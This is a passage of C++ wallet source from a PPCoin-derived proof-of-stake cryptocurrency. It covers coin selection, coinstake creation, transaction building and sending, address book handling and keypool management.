= true; if (nTotal >= nTargetValue) { fReachedTarget = true; if (nTotal < nBest) { nBest = nTotal; vfBest = vfIncluded; } nTotal -= vValue[i].first; vfIncluded[i] = false; } } } } } } // ppcoin: total coins staked (non-spendable until maturity) int64_t CWallet::GetStake() const { int64_t nTotal = 0; LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsCoinStake() && pcoin->GetBlocksToMaturity() > 0 && pcoin->GetDepthInMainChain() > 0) nTotal += CWallet::GetCredit(*pcoin); } return nTotal; } int64_t CWallet::GetNewMint() const { int64_t nTotal = 0; LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsCoinBase() && pcoin->GetBlocksToMaturity() > 0 && pcoin->GetDepthInMainChain() > 0) nTotal += CWallet::GetCredit(*pcoin); } return nTotal; } bool CWallet::SelectCoinsMinConf(int64_t nTargetValue, unsigned int nSpendTime, int nConfMine, int nConfTheirs, vector<COutput> vCoins, set<pair<const CWalletTx*,unsigned int> >& setCoinsRet, int64_t& nValueRet) const { setCoinsRet.clear(); nValueRet = 0; // List of values less than target pair<int64_t, pair<const CWalletTx*,unsigned int> > coinLowestLarger; coinLowestLarger.first = std::numeric_limits<int64_t>::max(); coinLowestLarger.second.first = NULL; vector<pair<int64_t, pair<const CWalletTx*,unsigned int> > > vValue; int64_t nTotalLower = 0; random_shuffle(vCoins.begin(), vCoins.end(), GetRandInt); BOOST_FOREACH(COutput output, vCoins) { const CWalletTx *pcoin = output.tx; if (output.nDepth < (pcoin->IsFromMe() ? nConfMine : nConfTheirs)) continue; int i = output.i; // Follow the timestamp rules if (pcoin->nTime > nSpendTime) continue; int64_t n = pcoin->vout[i].nValue; pair<int64_t,pair<const CWalletTx*,unsigned int> > coin = make_pair(n,make_pair(pcoin, i)); if (n == nTargetValue) { setCoinsRet.insert(coin.second); nValueRet += coin.first; return true; } else if (n < nTargetValue + CENT) { vValue.push_back(coin); nTotalLower += n; } else if (n < coinLowestLarger.first) { coinLowestLarger = coin; } } if (nTotalLower == nTargetValue) { for (unsigned int i = 0; i < vValue.size(); ++i) { setCoinsRet.insert(vValue[i].second); nValueRet += vValue[i].first; } return true; } if (nTotalLower < nTargetValue) { if (coinLowestLarger.second.first == NULL) return false; setCoinsRet.insert(coinLowestLarger.second); nValueRet += coinLowestLarger.first; return true; } // Solve subset sum by stochastic approximation sort(vValue.rbegin(), vValue.rend(), CompareValueOnly()); vector<char> vfBest; int64_t nBest; ApproximateBestSubset(vValue, nTotalLower, nTargetValue, vfBest, nBest, 1000); if (nBest != nTargetValue && nTotalLower >= nTargetValue + CENT) ApproximateBestSubset(vValue, nTotalLower, nTargetValue + CENT, vfBest, nBest, 1000); // If we have a bigger coin and (either the stochastic approximation didn't find a good solution, // or the next bigger coin is closer), return the bigger coin if (coinLowestLarger.second.first && ((nBest != nTargetValue && nBest < nTargetValue + CENT) || coinLowestLarger.first <= nBest)) { setCoinsRet.insert(coinLowestLarger.second); nValueRet += coinLowestLarger.first; } else { for (unsigned int i = 0; i < vValue.size(); i++) if (vfBest[i]) { setCoinsRet.insert(vValue[i].second); nValueRet += vValue[i].first; } LogPrint("selectcoins", "SelectCoins() best subset: "); for (unsigned int i = 0; i < vValue.size(); i++) if (vfBest[i]) LogPrint("selectcoins", "%s ", FormatMoney(vValue[i].first)); LogPrint("selectcoins", "total %s\n", FormatMoney(nBest)); } return true; } bool CWallet::SelectCoins(int64_t nTargetValue, unsigned int nSpendTime, set<pair<const CWalletTx*,unsigned int> >& setCoinsRet, int64_t& nValueRet, const CCoinControl* coinControl) const { vector<COutput> vCoins; AvailableCoins(vCoins, true, coinControl); // coin control -> return all selected outputs (we want all selected to go into the transaction for sure) if (coinControl && coinControl->HasSelected()) { BOOST_FOREACH(const COutput& out, vCoins) { nValueRet += out.tx->vout[out.i].nValue; setCoinsRet.insert(make_pair(out.tx, out.i)); } return (nValueRet >= nTargetValue); } boost::function<bool (const CWallet*, int64_t, unsigned int, int, int, std::vector<COutput>, std::set<std::pair<const CWalletTx*,unsigned int> >&, int64_t&)> f = &CWallet::SelectCoinsMinConf; return (f(this, nTargetValue, nSpendTime, 1, 10, vCoins, setCoinsRet, nValueRet) || f(this, nTargetValue, nSpendTime, 1, 1, vCoins, setCoinsRet, nValueRet) || f(this, nTargetValue, nSpendTime, 0, 1, vCoins, setCoinsRet, nValueRet)); } // Select some coins without random shuffle or best subset approximation bool CWallet::SelectCoinsForStaking(int64_t nTargetValue, unsigned int nSpendTime, set<pair<const CWalletTx*,unsigned int> >& setCoinsRet, int64_t& nValueRet) const { vector<COutput> vCoins; AvailableCoinsForStaking(vCoins, nSpendTime); setCoinsRet.clear(); nValueRet = 0; BOOST_FOREACH(COutput output, vCoins) { const CWalletTx *pcoin = output.tx; int i = output.i; // Stop if we've chosen enough inputs if (nValueRet >= nTargetValue) break; int64_t n = pcoin->vout[i].nValue; pair<int64_t,pair<const CWalletTx*,unsigned int> > coin = make_pair(n,make_pair(pcoin, i)); if (n >= nTargetValue) { // If input value is greater or equal to target then simply insert // it into the current subset and exit setCoinsRet.insert(coin.second); nValueRet += coin.first; break; } else if (n < nTargetValue + CENT) { setCoinsRet.insert(coin.second); nValueRet += coin.first; } } return true; } bool CWallet::CreateTransaction(const vector<pair<CScript, int64_t> >& vecSend, CWalletTx& wtxNew, CReserveKey& reservekey, int64_t& nFeeRet, const CCoinControl* coinControl) { int64_t nValue = 0; BOOST_FOREACH (const PAIRTYPE(CScript, int64_t)& s, vecSend) { if (nValue < 0) return false; nValue += s.second; } if (vecSend.empty() || nValue < 0) return false; wtxNew.BindWallet(this); // Discourage fee sniping. // // However because of a off-by-one-error in previous versions we need to // neuter it by setting nLockTime to at least one less than nBestHeight. // Secondly currently propagation of transactions created for block heights // corresponding to blocks that were just mined may be iffy - transactions // aren't re-accepted into the mempool - we additionally neuter the code by // going ten blocks back. Doesn't yet do anything for sniping, but does act // to shake out wallet bugs like not showing nLockTime'd transactions at // all. wtxNew.nLockTime = std::max(0, nBestHeight - 10); // Secondly occasionally randomly pick a nLockTime even further back, so // that transactions that are delayed after signing for whatever reason, // e.g. high-latency mix networks and some CoinJoin implementations, have // better privacy. if (GetRandInt(10) == 0) wtxNew.nLockTime = std::max(0, (int)wtxNew.nLockTime - GetRandInt(100)); assert(wtxNew.nLockTime <= (unsigned int)nBestHeight); assert(wtxNew.nLockTime < LOCKTIME_THRESHOLD); { LOCK2(cs_main, cs_wallet); // txdb must be opened before the mapWallet lock CTxDB txdb("r"); { nFeeRet = nTransactionFee; while (true) { wtxNew.vin.clear(); wtxNew.vout.clear(); wtxNew.fFromMe = true; int64_t nTotalValue = nValue + nFeeRet; double dPriority = 0; // vouts to the payees BOOST_FOREACH (const PAIRTYPE(CScript, int64_t)& s, vecSend) wtxNew.vout.push_back(CTxOut(s.second, s.first)); // Choose coins to use set<pair<const CWalletTx*,unsigned int> > setCoins; int64_t nValueIn = 0; if (!SelectCoins(nTotalValue, wtxNew.nTime, setCoins, nValueIn, coinControl)) return false; BOOST_FOREACH(PAIRTYPE(const CWalletTx*, unsigned int) pcoin, setCoins) { int64_t nCredit = pcoin.first->vout[pcoin.second].nValue; dPriority += (double)nCredit * pcoin.first->GetDepthInMainChain(); } int64_t nChange = nValueIn - nValue - nFeeRet; if (nChange > 0) { // Fill a vout to ourself // TODO: pass in scriptChange instead of reservekey so // change transaction isn't always pay-to-bitcoin-address CScript scriptChange; // coin control: send change to custom address if (coinControl && !boost::get<CNoDestination>(&coinControl->destChange)) scriptChange.SetDestination(coinControl->destChange); // no coin control: send change to newly generated address else { // Note: We use a new key here to keep it from being obvious which side is the change. // The drawback is that by not reusing a previous key, the change may be lost if a // backup is restored, if the backup doesn't have the new private key for the change. // If we reused the old key, it would be possible to add code to look for and // rediscover unknown transactions that were written with keys of ours to recover // post-backup change. // Reserve a new key pair from key pool CPubKey vchPubKey; bool ret; ret = reservekey.GetReservedKey(vchPubKey); assert(ret); // should never fail, as we just unlocked scriptChange.SetDestination(vchPubKey.GetID()); } // Insert change txn at random position: vector<CTxOut>::iterator position = wtxNew.vout.begin()+GetRandInt(wtxNew.vout.size()+1); wtxNew.vout.insert(position, CTxOut(nChange, scriptChange)); } else reservekey.ReturnKey(); // Fill vin // // Note how the sequence number is set to max()-1 so that the // nLockTime set above actually works. BOOST_FOREACH(const PAIRTYPE(const CWalletTx*,unsigned int)& coin, setCoins) wtxNew.vin.push_back(CTxIn(coin.first->GetHash(),coin.second,CScript(), std::numeric_limits<unsigned int>::max()-1)); // Sign int nIn = 0; BOOST_FOREACH(const PAIRTYPE(const CWalletTx*,unsigned int)& coin, setCoins) if (!SignSignature(*this, *coin.first, wtxNew, nIn++)) return false; // Limit size unsigned int nBytes = ::GetSerializeSize(*(CTransaction*)&wtxNew, SER_NETWORK, PROTOCOL_VERSION); if (nBytes >= MAX_STANDARD_TX_SIZE) return false; dPriority /= nBytes; // Check that enough fee is included int64_t nPayFee = nTransactionFee * (1 + (int64_t)nBytes / 1000); int64_t nMinFee = GetMinFee(wtxNew, 1, GMF_SEND, nBytes); if (nFeeRet < max(nPayFee, nMinFee)) { nFeeRet = max(nPayFee, nMinFee); continue; } // Fill vtxPrev by copying from previous transactions vtxPrev wtxNew.AddSupportingTransactions(txdb); wtxNew.fTimeReceivedIsTxTime = true; break; } } } return true; } bool CWallet::CreateTransaction(CScript scriptPubKey, int64_t nValue, CWalletTx& wtxNew, CReserveKey& reservekey, int64_t& nFeeRet, const CCoinControl* coinControl) { vector< pair<CScript, int64_t> > vecSend; vecSend.push_back(make_pair(scriptPubKey, nValue)); return CreateTransaction(vecSend, wtxNew, reservekey, nFeeRet, coinControl); } uint64_t CWallet::GetStakeWeight() const { // Choose coins to use int64_t nBalance = GetBalance(); if (nBalance <= nReserveBalance) return 0; vector<const CWalletTx*> vwtxPrev; set<pair<const CWalletTx*,unsigned int> > setCoins; int64_t nValueIn = 0; if (!SelectCoinsForStaking(nBalance - nReserveBalance, GetTime(), setCoins, nValueIn)) return 0; if (setCoins.empty()) return 0; uint64_t nWeight = 0; int64_t nCurrentTime = GetTime(); CTxDB txdb("r"); LOCK2(cs_main, cs_wallet); BOOST_FOREACH(PAIRTYPE(const CWalletTx*, unsigned int) pcoin, setCoins) { if (IsProtocolV3(nCurrentTime)) { if (pcoin.first->GetDepthInMainChain() >= GetStakeMinConfirmations(nBestHeight + 1)) nWeight += pcoin.first->vout[pcoin.second].nValue; } else { CTxIndex txindex; if (!txdb.ReadTxIndex(pcoin.first->GetHash(), txindex)) continue; if (nCurrentTime - pcoin.first->nTime > nStakeMinAge) nWeight += pcoin.first->vout[pcoin.second].nValue; } } return nWeight; } bool CWallet::CreateCoinStake(const CKeyStore& keystore, unsigned int nBits, int64_t nSearchInterval, int64_t nFees, CTransaction& txNew, CKey& key) { CBlockIndex* pindexPrev = pindexBest; CBigNum bnTargetPerCoinDay; bnTargetPerCoinDay.SetCompact(nBits); txNew.vin.clear(); txNew.vout.clear(); // Mark coin stake transaction CScript scriptEmpty; scriptEmpty.clear(); txNew.vout.push_back(CTxOut(0, scriptEmpty)); // Choose coins to use int64_t nBalance = GetBalance(); if (nBalance <= nReserveBalance) return false; vector<const CWalletTx*> vwtxPrev; set<pair<const CWalletTx*,unsigned int> > setCoins; int64_t nValueIn = 0; // Select coins with suitable depth if (!SelectCoinsForStaking(nBalance - nReserveBalance, txNew.nTime, setCoins, nValueIn)) return false; if (setCoins.empty()) return false; int64_t nCredit = 0; CScript scriptPubKeyKernel; CTxDB txdb("r"); BOOST_FOREACH(PAIRTYPE(const CWalletTx*, unsigned int) pcoin, setCoins) { static int nMaxStakeSearchInterval = 60; bool fKernelFound = false; for (unsigned int n=0; n<min(nSearchInterval,(int64_t)nMaxStakeSearchInterval) && !fKernelFound && pindexPrev == pindexBest; n++) { boost::this_thread::interruption_point(); // Search backward in time from the given txNew timestamp // Search nSearchInterval seconds back up to nMaxStakeSearchInterval COutPoint prevoutStake = COutPoint(pcoin.first->GetHash(), pcoin.second); int64_t nBlockTime; if (CheckKernel(pindexPrev, nBits, txNew.nTime - n, prevoutStake, &nBlockTime)) { // Found a kernel LogPrint("coinstake", "CreateCoinStake : kernel found\n"); vector<valtype> vSolutions; txnouttype whichType; CScript scriptPubKeyOut; scriptPubKeyKernel = pcoin.first->vout[pcoin.second].scriptPubKey; if (!Solver(scriptPubKeyKernel, whichType, vSolutions)) { LogPrint("coinstake", "CreateCoinStake : failed to parse kernel\n"); break; } LogPrint("coinstake", "CreateCoinStake : parsed kernel type=%d\n", whichType); if (whichType != TX_PUBKEY && whichType != TX_PUBKEYHASH) { LogPrint("coinstake", "CreateCoinStake : no support for kernel type=%d\n", whichType); break; // only support pay to public key and pay to address } if (whichType == TX_PUBKEYHASH) // pay to address type { // convert to pay to public key type if (!keystore.GetKey(uint160(vSolutions[0]), key)) { LogPrint("coinstake", "CreateCoinStake : failed to get key for kernel type=%d\n", whichType); break; // unable to find corresponding public key } scriptPubKeyOut << key.GetPubKey() << OP_CHECKSIG; } if (whichType == TX_PUBKEY) { valtype& vchPubKey = vSolutions[0]; if (!keystore.GetKey(Hash160(vchPubKey), key)) { LogPrint("coinstake", "CreateCoinStake : failed to get key for kernel type=%d\n", whichType); break; // unable to find corresponding public key } if (key.GetPubKey() != vchPubKey) { LogPrint("coinstake", "CreateCoinStake : invalid key for kernel type=%d\n", whichType); break; // keys mismatch } scriptPubKeyOut = scriptPubKeyKernel; } txNew.nTime -= n; txNew.vin.push_back(CTxIn(pcoin.first->GetHash(), pcoin.second)); nCredit += pcoin.first->vout[pcoin.second].nValue; vwtxPrev.push_back(pcoin.first); txNew.vout.push_back(CTxOut(0, scriptPubKeyOut)); LogPrint("coinstake", "CreateCoinStake : added kernel type=%d\n", whichType); fKernelFound = true; break; } } if (fKernelFound) break; // if kernel is found stop searching } if (nCredit == 0 || nCredit > nBalance - nReserveBalance) return false; BOOST_FOREACH(PAIRTYPE(const CWalletTx*, unsigned int) pcoin, setCoins) { // Attempt to add more inputs // Only add coins of the same key/address as kernel if (txNew.vout.size() == 2 && ((pcoin.first->vout[pcoin.second].scriptPubKey == scriptPubKeyKernel || pcoin.first->vout[pcoin.second].scriptPubKey == txNew.vout[1].scriptPubKey)) && pcoin.first->GetHash() != txNew.vin[0].prevout.hash) { int64_t nTimeWeight = GetWeight((int64_t)pcoin.first->nTime, (int64_t)txNew.nTime); // Stop adding more inputs if already too many inputs if (txNew.vin.size() >= 10) break; // Stop adding inputs if reached reserve limit if (nCredit + pcoin.first->vout[pcoin.second].nValue > nBalance - nReserveBalance) break; // Do not add additional significant input if (pcoin.first->vout[pcoin.second].nValue >= GetStakeCombineThreshold()) continue; // Do not add input that is still too young if (IsProtocolV3(txNew.nTime)) { // properly handled by selection function } else { if (nTimeWeight < nStakeMinAge) continue; } txNew.vin.push_back(CTxIn(pcoin.first->GetHash(), pcoin.second)); nCredit += pcoin.first->vout[pcoin.second].nValue; vwtxPrev.push_back(pcoin.first); } } // Calculate coin age reward { uint64_t nCoinAge; CTxDB txdb("r"); if (!txNew.GetCoinAge(txdb, pindexPrev, nCoinAge)) return error("CreateCoinStake : failed to calculate coin age"); int64_t nReward = GetProofOfStakeReward(pindexPrev, nCoinAge, nFees); if (nReward <= 0) return false; nCredit += nReward; } if (nCredit >= GetStakeSplitThreshold()) txNew.vout.push_back(CTxOut(0, txNew.vout[1].scriptPubKey)); //split stake // Set output amount if (txNew.vout.size() == 3) { txNew.vout[1].nValue = (nCredit / 2 / CENT) * CENT; txNew.vout[2].nValue = nCredit - txNew.vout[1].nValue; } else txNew.vout[1].nValue = nCredit; // Sign int nIn = 0; BOOST_FOREACH(const CWalletTx* pcoin, vwtxPrev) { if (!SignSignature(*this, *pcoin, txNew, nIn++)) return error("CreateCoinStake : failed to sign coinstake"); } // Limit size unsigned int nBytes = ::GetSerializeSize(txNew, SER_NETWORK, PROTOCOL_VERSION); if (nBytes >= MAX_BLOCK_SIZE_GEN/5) return error("CreateCoinStake : exceeded coinstake size limit"); // Successfully generated coinstake return true; } // Call after CreateTransaction unless you want to abort bool CWallet::CommitTransaction(CWalletTx& wtxNew, CReserveKey& reservekey) { { LOCK2(cs_main, cs_wallet); LogPrintf("CommitTransaction:\n%s", wtxNew.ToString()); { // This is only to keep the database open to defeat the auto-flush for the // duration of this scope. This is the only place where this optimization // maybe makes sense; please don't do it anywhere else. CWalletDB* pwalletdb = fFileBacked ? new CWalletDB(strWalletFile,"r") : NULL; // Take key pair from key pool so it won't be used again reservekey.KeepKey(); // Add tx to wallet, because if it has change it's also ours, // otherwise just for transaction history. AddToWallet(wtxNew); // Mark old coins as spent set<CWalletTx*> setCoins; BOOST_FOREACH(const CTxIn& txin, wtxNew.vin) { CWalletTx &coin = mapWallet[txin.prevout.hash]; coin.BindWallet(this); coin.MarkSpent(txin.prevout.n); coin.WriteToDisk(); NotifyTransactionChanged(this, coin.GetHash(), CT_UPDATED); } if (fFileBacked) delete pwalletdb; } // Track how many getdata requests our transaction gets mapRequestCount[wtxNew.GetHash()] = 0; // Broadcast if (!wtxNew.AcceptToMemoryPool(true)) { // This must not fail. The transaction has already been signed and recorded. LogPrintf("CommitTransaction() : Error: Transaction not valid\n"); return false; } wtxNew.RelayWalletTransaction(); } return true; } string CWallet::SendMoney(CScript scriptPubKey, int64_t nValue, CWalletTx& wtxNew, bool fAskFee) { CReserveKey reservekey(this); int64_t nFeeRequired; if (IsLocked()) { string strError = _("Error: Wallet locked, unable to create transaction!"); LogPrintf("SendMoney() : %s", strError); return strError; } if (fWalletUnlockStakingOnly) { string strError = _("Error: Wallet unlocked for staking only, unable to create transaction."); LogPrintf("SendMoney() : %s", strError); return strError; } if (!CreateTransaction(scriptPubKey, nValue, wtxNew, reservekey, nFeeRequired)) { string strError; if (nValue + nFeeRequired > GetBalance()) strError = strprintf(_("Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds!"), FormatMoney(nFeeRequired)); else strError = _("Error: Transaction creation failed!"); LogPrintf("SendMoney() : %s\n", strError); return strError; } if (fAskFee && !uiInterface.ThreadSafeAskFee(nFeeRequired, _("Sending..."))) return "ABORTED"; if (!CommitTransaction(wtxNew, reservekey)) return _("Error: The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here."); return ""; } string CWallet::SendMoneyToDestination(const CTxDestination& address, int64_t nValue, CWalletTx& wtxNew, bool fAskFee) { // Check amount if (nValue <= 0) return _("Invalid amount"); if (nValue + nTransactionFee > GetBalance()) return _("Insufficient funds"); // Parse Bitcoin address CScript scriptPubKey; scriptPubKey.SetDestination(address); return SendMoney(scriptPubKey, nValue, wtxNew, fAskFee); } DBErrors CWallet::LoadWallet(bool& fFirstRunRet) { if (!fFileBacked) return DB_LOAD_OK; fFirstRunRet = false; DBErrors nLoadWalletRet = CWalletDB(strWalletFile,"cr+").LoadWallet(this); if (nLoadWalletRet == DB_NEED_REWRITE) { if (CDB::Rewrite(strWalletFile, "\x04pool")) { LOCK(cs_wallet); setKeyPool.clear(); // Note: can't top-up keypool here, because wallet is locked. // User will be prompted to unlock wallet the next operation // the requires a new key. } } if (nLoadWalletRet != DB_LOAD_OK) return nLoadWalletRet; fFirstRunRet = !vchDefaultKey.IsValid(); return DB_LOAD_OK; } bool CWallet::SetAddressBookName(const CTxDestination& address, const string& strName) { bool fUpdated = false; { LOCK(cs_wallet); // mapAddressBook std::map<CTxDestination, std::string>::iterator mi = mapAddressBook.find(address); fUpdated = mi != mapAddressBook.end(); mapAddressBook[address] = strName; } NotifyAddressBookChanged(this, address, strName, ::IsMine(*this, address), (fUpdated ? CT_UPDATED : CT_NEW) ); if (!fFileBacked) return false; return CWalletDB(strWalletFile).WriteName(CBitcoinAddress(address).ToString(), strName); } bool CWallet::DelAddressBookName(const CTxDestination& address) { { LOCK(cs_wallet); // mapAddressBook mapAddressBook.erase(address); } NotifyAddressBookChanged(this, address, "", ::IsMine(*this, address), CT_DELETED); if (!fFileBacked) return false; return CWalletDB(strWalletFile).EraseName(CBitcoinAddress(address).ToString()); } bool CWallet::SetDefaultKey(const CPubKey &vchPubKey) { if (fFileBacked) { if (!CWalletDB(strWalletFile).WriteDefaultKey(vchPubKey)) return false; } vchDefaultKey = vchPubKey; return true; } // // Mark old keypool keys as used, // and generate all new keys // bool CWallet::NewKeyPool() { { LOCK(cs_wallet); CWalletDB walletdb(strWalletFile); BOOST_FOREACH(int64_t nIndex, setKeyPool) walletdb.ErasePool(nIndex); setKeyPool.clear(); if (IsLocked()) return false; int64_t nKeys = max(GetArg("-keypool", 100), (int64_t)0); for (int i = 0; i < nKeys; i++) { int64_t nIndex = i+1; walletdb.WritePool(nIndex, CKeyPool(GenerateNewKey())); setKeyPool.insert(nIndex); } LogPrintf("CWallet::NewKeyPool wrote %d new keys\n", nKeys); } return true; } bool CWallet::TopUpKeyPool(unsigned int nSize) { { LOCK(cs_wallet); if (IsLocked()) return false; CWalletDB walletdb(strWalletFile); // Top up key pool unsigned int nTargetSize; if (nSize > 0) nTargetSize = nSize; else nTargetSize = max(GetArg("-keypool", 100), (int64_t)0); while (setKeyPool.size() < (nTargetSize + 1)) { int64_t nEnd = 1; if (!setKeyPool.empty()) nEnd = *(--setKeyPool.end()) + 1; if (!walletdb.WritePool(nEnd, CKeyPool(GenerateNewKey()))) throw runtime_error("TopUpKeyPool() : writing generated key failed"); setKeyPool.insert(nEnd); LogPrintf("keypool added key %d, size=%u\n", nEnd, setKeyPool.size()); } } return true; } void CWallet::ReserveKeyFromKeyPool(int64_t& nIndex, CKeyPool& keypool) { nIndex = -1; keypool.vchPubKey = CPubKey(); { LOCK(cs_wallet); if (!IsLocked()) TopUpKeyPool(); // Get the oldest key if(setKeyPool.empty()) return; CWalletDB walletdb(strWalletFile); nIndex = *(setKeyPool.begin()); setKeyPool.erase(setKeyPool.begin()); if (!walletdb.ReadPool(nIndex, keypool)) throw runtime_error("ReserveKeyFromKeyPool() : read failed"); if (!HaveKey(keypool.vchPubKey.GetID())) throw runtime_error("ReserveKeyFromKeyPool() : unknown key in key pool"); assert(keypool.vchPubKey.IsValid()); LogPrintf("keypool reserve %d\n", nIndex); } } int64_t CWallet::AddReserveKey(const CKeyPool& keypool) { { LOCK2(cs_main, cs_wallet); CWalletDB walletdb(strWalletFile); int64_t nIndex = 1 + *(--setKeyPool.end()); if (!walletdb.WritePool(nIndex, keypool)) throw runtime_error("AddReserveKey() : writing added key failed"); setKeyPool.insert(nIndex); return nIndex; } return -1; } void CWallet::KeepKey(int64_t nIndex) { // Remove from key pool if (fFileBacked) { CWalletDB walletdb(strWalletFile); walletdb.ErasePool(nIndex); } LogPrintf("keypool keep %d\n", nIndex); } void CWallet::ReturnKey(int64_t nIndex) { // Return to key pool { LOCK(cs_wallet); setKeyPool.insert(nIndex); } LogPrintf("keypool return %d\n", nIndex); } bool CWallet::GetKeyFromPool(CPubKey& result) { int64_t nIndex = 0; CKeyPool keypool; { LOCK(cs_wallet); ReserveKeyFromKeyPool(nIndex, keypool); if (nIndex == -1) { if (IsLocked()) return false; result = GenerateNewKey(); return true; } KeepKey(nIndex); result = keypool.vchPubKey; } return true; } int64_t CWallet::GetOldestKeyPoolTime() { int64_t nIndex = 0; CKeyPool keypool; ReserveKeyFromKeyPool(nIndex, keypool); if (nIndex == -1) return GetTime(); ReturnKey(nIndex); return keypool.nTime; } std::map<CTxDestination, int64_t> CWallet::GetAddressBalances() { map<CTxDestination, int64_t> balances; { LOCK(cs_wallet); BOOST_FOREACH(PAIRTYPE(uint256, CWalletTx) walletEntry, mapWallet) { CWalletTx *pcoin = &walletEntry.second; if (!IsFinalTx(*pcoin) || !pcoin->IsTrusted()) continue; if ((pcoin->IsCoinBase() || pcoin->IsCoinStake()) && pcoin->GetBlocksToMaturity() > 0) continue; int nDepth = pcoin->GetDepthInMainChain(); if (nDepth < (pcoin->IsFromMe() ? 0 : 1)) continue; for (unsigned int i = 0; i < pcoin->vout.size(); i++) { CTxDestination addr; if (!IsMine(pcoin->vout[i])) continue; if(!ExtractDestination(pcoin->vout[i].scriptPubKey, addr)) continue; int64_t n = pcoin->IsSpent(i) ? 0 : pcoin->vout[i].nValue; if (!balances.count(addr)) balances[addr] = 0; balances[addr] += n; } } } return balances; } set< set<CTxDestination> > CWallet::GetAddressGroupings() { AssertLockHeld(cs_wallet); // mapWallet set< set<CTxDestination> > groupings; set<CTxDestination> grouping; BOOST_FOREACH(PAIRTYPE(uint256, CWalletTx) walletEntry, mapWallet) { CWalletTx *pcoin = &walletEntry.second; if (pcoin->vin.size() > 0 && IsMine(pcoin->vin[0])) { // group all input addresses with each other BOOST_FOREACH(CTxIn txin, pcoin->vin) { CTxDestination address; if(!ExtractDestination(mapWallet[txin.prevout.hash].vout[txin.prevout.n].scriptPubKey, address)) continue; grouping.insert(address); } // group change with input addresses BOOST_FOREACH(CTxOut txout, pcoin->vout) if (IsChange(txout)) { CWalletTx tx = mapWallet[pcoin->vin[0].prevout.hash]; CTxDestination txoutAddr; if(!ExtractDestination(txout.scriptPubKey, txoutAddr)) continue; grouping.insert(txoutAddr); } groupings.insert(grouping); grouping.clear(); } // group lone addrs by themselves for (unsigned int i = 0; i < pcoin->vout.size(); i++) if (IsMine(pcoin->vout[i])) { CTxDestination address; if(!ExtractDestination(pcoin->vout[i].scriptPubKey, address)) continue; grouping.insert(address); groupings.insert(grouping); grouping.clear(); } } set< set<CTxDestination>* > uniqueGroupings; // a set of pointers to groups of addresses map< CTxDestination, set<CTxDestination>* > setmap; // map addresses to the unique group containing it BOOST_FOREACH(set<CTxDestination> grouping, groupings) { // make a set of all the groups hit by this new group set< set<CTxDestination>* > hits; map< CTxDestination, set<CTxDestination>* >::iterator it; BOOST_FOREACH(CTxDestination address, grouping) if ((it = setmap.find(address)) != setmap.end()) hits.insert((*it).second); // merge all hit groups into a new single group and delete old groups set<CTxDestination>* merged = new set<CTxDestination>(grouping); BOOST_FOREACH(set<CTxDestination>* hit, hits) { merged->insert(hit->begin(), hit->end()); uniqueGroupings.erase(hit); delete hit; } uniqueGroupings.insert(merged); // update setmap BOOST_FOREACH(CTxDestination element, *merged) setmap[element] = merged; } set< set<CTxDestination> > ret; BOOST_FOREACH(set<CTxDestination>* uniqueGrouping, uniqueGroupings) { ret.insert(*uniqueGrouping); delete uniqueGrouping; } return ret; } // ppcoin: check 'spent' consistency between wallet and txindex // ppcoin: fix wallet spent state according to txindex void CWallet::FixSpentCoins(int& nMismatchFound, int64_t& nBalanceInQuestion, bool fCheckOnly) { nMismatchFound = 0; nBalanceInQuestion = 0; LOCK(cs_wallet); vector<CWalletTx*> vCoins; vCoins.reserve(mapWallet.size()); for (map<uint256, CWalletTx>::iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) vCoins.push_back(&(*it).second); CTxDB txdb("r"); BOOST_FOREACH(CWalletTx* pcoin, vCoins) { // Find the corresponding transaction index CTxIndex txindex; if (!txdb.ReadTxIndex(pcoin->GetHash(), txindex)) continue; for (unsigned int n=0; n < pcoin->vout.size(); n++) { if (IsMine(pcoin->vout[n]) && pcoin->IsSpent(n) && (txindex.vSpent.size() <= n || txindex.vSpent[n].IsNull())) { LogPrintf("FixSpentCoins found lost coin %s FLUID %s[%d], %s\n", FormatMoney(pcoin->vout[n].nValue), pcoin->GetHash().ToString(), n, fCheckOnly? "repair not attempted" : "repairing"); nMismatchFound++; nBalanceInQuestion += pcoin->vout[n].nValue; if (!fCheckOnly) { pcoin->MarkUnspent(n); pcoin->WriteToDisk(); } } else if (IsMine(pcoin->vout[n]) && !pcoin->IsSpent(n) && (txindex.vSpent.size() > n && !txindex.vSpent[n].IsNull())) { LogPrintf("FixSpentCoins found spent coin %s FLUID %s[%d], %s\n", FormatMoney(pcoin->vout[n].nValue), pcoin->GetHash().ToString(), n, fCheckOnly? "repair not attempted" : "repairing"); nMismatchFound++; nBalanceInQuestion += pcoin->vout[n].nValue; if (!fCheckOnly) { pcoin->MarkSpent(n); pcoin->WriteToDisk(); } } } } } // ppcoin: disable transaction (only for coinstake) void CWallet::DisableTransaction(const CTransaction &tx) { if (!tx.IsCoinStake() || !IsFromMe(tx)) return; // only disconnecting coinstake requires marking input unspent LOCK(cs_wallet); BOOST_FOREACH(const CTxIn& txin, tx.vin) { map<uint256, CWalletTx>::iterator mi = mapWallet.find(txin.prevout.hash); if (mi != mapWallet.end()) { CWalletTx& prev = (*mi).second; if (txin.prevout.n < prev.vout.size() && IsMine(prev.vout[txin.prevout.n])) { prev.MarkUnspent(txin.prevout.n); prev.WriteToDisk(); } } } } bool CReserveKey::GetReservedKey(CPubKey& pubkey) { if (nIndex == -1) { CKeyPool keypool; pwallet->ReserveKeyFromKeyPool(nIndex, keypool); if (nIndex != -1) vchPubKey = keypool.vchPubKey; else { if (pwallet->vchDefaultKey.IsValid()) { LogPrintf("CReserveKey::GetReservedKey(): Warning: Using default key instead of a new key, top up your keypool!"); vchPubKey = pwallet->vchDefaultKey; } else return false; } } assert(vchPubKey.IsValid()); pubkey = vchPubKey; return true; } void CReserveKey::KeepKey() { if (nIndex != -1) pwallet->KeepKey(nIndex); nIndex = -1; vchPubKey = CPubKey(); } void CReserveKey::ReturnKey() { if (nIndex != -1) pwallet->ReturnKey(nIndex); nIndex = -1; vchPubKey = CPubKey(); } void CWallet::GetAllReserveKeys(set<CKeyID>& setAddress) const { setAddress.clear(); CWalletDB 